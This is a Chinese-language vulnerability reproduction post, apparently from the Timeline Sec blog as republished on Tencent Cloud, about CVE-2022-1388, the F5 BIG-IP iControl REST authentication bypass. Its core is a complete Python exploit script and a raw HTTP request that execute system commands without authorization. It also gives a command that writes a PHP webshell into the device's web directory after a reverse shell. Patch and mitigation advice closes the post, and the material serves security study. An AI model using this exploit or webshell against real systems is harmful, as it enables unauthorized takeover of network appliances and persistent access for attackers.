作者:shiyi@Timeline Sec
本文字数:1422
阅读时长:3~4min
声明:仅供学习参考使用,请勿用作违法用途,否则后果自负
0x01 简介
F5 BIG-IP是美国F5公司的一款集成了网络流量管理、应用程序安全管理、负载均衡等功能的应用交付平台。
0x02 漏洞概述
漏洞编号:CVE-2022-1388 该漏洞是由于iControl REST的身份验证功能存在缺陷,攻击者可利用该漏洞在未授权的情况下,构造恶意数据执行身份证绕过攻击,最终接管设备控制平台。
0x03 影响版本
16.1.0 <= F5 BIG-IP <= 16.1.2
15.1.0 <= F5 BIG-IP <= 15.1.5
14.1.0 <= F5 BIG-IP <= 14.1.4
13.1.0 <= F5 BIG-IP <= 13.1.4
12.1.0 <= F5 BIG-IP <= 12.1.6
11.6.1 <= F5 BIG-IP <= 11.6.5
0x04 环境搭建
环境搭建可以参考之前师傅写的
https://mp.weixin.qq.com/s/-WScu2pgUjvjEqWKt5f19A
1、登陆F5官网申请测试license 90天
https://www.f5.com/trials
2、按流程注册登陆后获得license,会发送至注册邮箱
3、下载漏洞版本镜像
https://downloads.f5.com/esd/product.jsp?sw=BIG-IP&pro=big-ip_v14.x&ver=14.1.2
4、下载后使用Vmware安装即可
0x05 漏洞复现
利用exp可参考
https://github.com/bytecaps/CVE-2022-1388-EXP
为了让exp更通用,可以修改一下请求头
import requests
import json
import ssl
import urllib3
urllib3.disable_warnings()
ssl._create_default_https_context = ssl._create_unverified_context
requests.packages.urllib3.disable_warnings()
def attack(target_url):
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36",
'Content-Type': 'application/json',
'Connection': 'Keep-Alive, X-F5-Auth-Token, X-Forwarded-Host',
'X-F5-Auth-Token': 'a',
'Authorization': 'Basic YWRtaW46'
}
cmd = 'whoami'
attack_url = target_url + '/mgmt/tm/util/bash'
data = {'command': "run", 'utilCmdArgs': "-c '{0}'".format(cmd)}
try:
response = requests.post(url=attack_url, json=data, headers=headers, verify=False, timeout=5)
if response.status_code == 200 and 'commandResult' in response.text:
default = json.loads(response.text)
display = default['commandResult']
print("[+] 目标 {} 存在漏洞".format(target_url))
print('[+] 响应为:{0}'.format(display))
else:
print("[-] 目标 {} 不存在漏洞".format(target_url))
except Exception as e:
print('url 访问异常 {0}'.format(target_url))
if __name__ == '__main__':
target_url = "https://10.0.24.55/"
print(target_url)
attack(target_url)
直接使用脚本测试即可
python cve_2022_1388.py
请求数据包
POST /mgmt/tm/util/bash HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Authorization: Basic YWRtaW46
Connection: keep-alive, X-F5-Auth-Token
Content-Type: application/json
X-F5-Auth-Token: a
Accept-Encoding: gzip
{
"command": "run",
"utilCmdArgs": "-c id"
}
没发现java的webshell怎么写,不过可以写php的shell,但是缺点就是php的shell权限是低权限的
先通过命令执行反弹shell,然后通过以下命令写webshell
mount -o remount -rw /usr ;echo 'It works!<?php $a=$_GET["cmd"];system($a);?>' > /usr/local/www/xui/common/scripts/jquery.php;mount -o remount -r /usr
0x06 修复方式
1、官方修复建议
当前官方已发布最新版本,建议受影响的用户及时更新升级到最新版本。
链接:https://downloads.f5.com
2、临时修复建议
该临时修复建议存在一定风险,建议用户可根据业务系统特性审慎选择采用临时修复方案:
(1)通过自身 IP 地址阻止 iControl REST 访问
(2)通过管理界面阻止 iControl REST 访问
(3)修改 BIG-IP httpd 配置
利用工具:
https://github.com/bytecaps/CVE-2022-1388-EXP https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2022/CVE-2022-1388.yaml
参考链接:
https://www.buaq.net/go-111634.html
https://paper.seebug.org/1893/#0x02-poc
https://mp.weixin.qq.com/s/RhI1YoIsPPwCYVSQ8KwIoQ 历史漏洞: CVE-2021-22986:BIG-IP/BIG-IQ未授权RCE CVE-2020-5902:F5 BIG-IP 远程代码执行漏洞复现
本文分享自 Timeline Sec 微信公众号,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。
本文参与 腾讯云自媒体同步曝光计划 ,欢迎热爱写作的你一起参与!
扫码关注腾讯云开发者
领取腾讯云代金券
Copyright © 2013 - 2025 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号:粤B2-20090059 深公网安备号 44030502008569
腾讯云计算(北京)有限责任公司 京ICP证150476号 | 京ICP备11018762号 | 京公网安备号11010802020287
Copyright © 2013 - 2025 Tencent Cloud.
All Rights Reserved. 腾讯云 版权所有